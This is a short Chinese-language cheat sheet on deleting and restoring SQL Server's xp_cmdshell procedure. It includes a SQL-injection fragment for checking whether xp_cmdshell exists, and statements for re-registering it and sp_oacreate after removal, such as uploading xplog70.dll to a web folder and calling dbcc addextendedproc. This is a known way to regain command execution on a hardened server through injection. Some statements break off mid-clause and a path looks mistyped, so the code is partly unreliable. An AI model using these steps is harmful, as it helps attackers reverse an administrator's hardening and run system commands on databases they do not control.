xp_cmdshell的刪除及恢復方法總結(jié)

字號:

一、xp_cmdshell的刪除及恢復
    1、判斷xp_cmdshell是否存在
    and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = ’X’ AND name = ’xp_cmdshell’)
    select count(*) from master.dbo.sysobjects where xtype=’x’ and
    返回結(jié)果為1就ok
    2、恢復xp_cmdshell的方法
    刪除擴展存儲過過程xp_cmdshell的語句
    exec sp_dropextendedproc ’xp_cmdshell’
    恢復cmdshell的sql語句
    exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
    exec master.dbo.addextendedproc ’xp_cmdshell’,’xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and
    返回結(jié)果為1就ok
    否則需上傳c:\inetput\web\xplog70.dll后
    exec master.dbo.sp_addextendedproc ’xp_cmdshell’,’c:\inetput\web\xplog70.dll’;
    如果是用以下方法刪除
    drop procedure sp_addextendedproc
    drop procedure sp_oacreate
    exec sp_dropextendedproc ’xp_cmdshell’
    則可以用以下語句恢復
    dbcc addextendedproc ("sp_oacreate","odsole70.dll")
    dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
    這樣可以直接恢復,不用去管sp_addextendedproc是不是存在